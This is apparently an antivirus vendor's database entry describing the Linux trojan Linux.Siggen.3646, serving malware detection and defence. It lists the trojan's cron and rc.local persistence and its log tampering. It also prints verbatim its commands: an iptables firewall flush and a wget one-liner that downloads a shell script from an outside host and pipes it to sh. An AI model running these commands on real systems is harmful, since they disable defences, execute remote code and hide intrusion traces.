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Linux.Siggen.3646

Added to the Dr.Web virus database: 2021-02-21

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/rc.local
  • /etc/cron.hourly/0
  • /etc/cron.daily/0
  • /etc/cron.weekly/0
  • /etc/cron.monthly/0
Malicious functions:
Modifies firewall settings:
  • iptables -F
Launches processes:
  • sh -c iptables -F >/dev/null 2>&1 ; wget --quiet http://m247.ltd:36663/..lolthats/unfortunate.sh -O- 2>/dev/null|sh >/dev/null 2>&1
  • sh
  • wget --quiet http://m247.ltd:36663/..lolthats/unfortunate.sh -O-
  • chmod +x /etc/rc.local
  • chmod +x /etc/cron.hourly/0
  • chmod +x /etc/cron.daily/0
  • chmod +x /etc/cron.weekly/0
  • chmod 777 /etc/cron.monthly/0
  • head -c -384 /var/log/wtmp
  • mv .wtmp /var/log/wtmp
  • chmod 664 /var/log/wtmp
  • chown root:utmp /var/log/wtmp
Performs operations with the file system:
Modifies file access rights:
  • /etc/rc.local
  • /etc/cron.hourly/0
  • /etc/cron.daily/0
  • /etc/cron.weekly/0
  • /etc/cron.monthly/0
  • /var/log/wtmp
Creates or modifies files:
  • /root/.wtmp
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
HTTP GET requests:
  • m2##.#######63/..lolthats/unfortunate.sh
DNS ASK:
  • m2##.ltd

Curing recommendations


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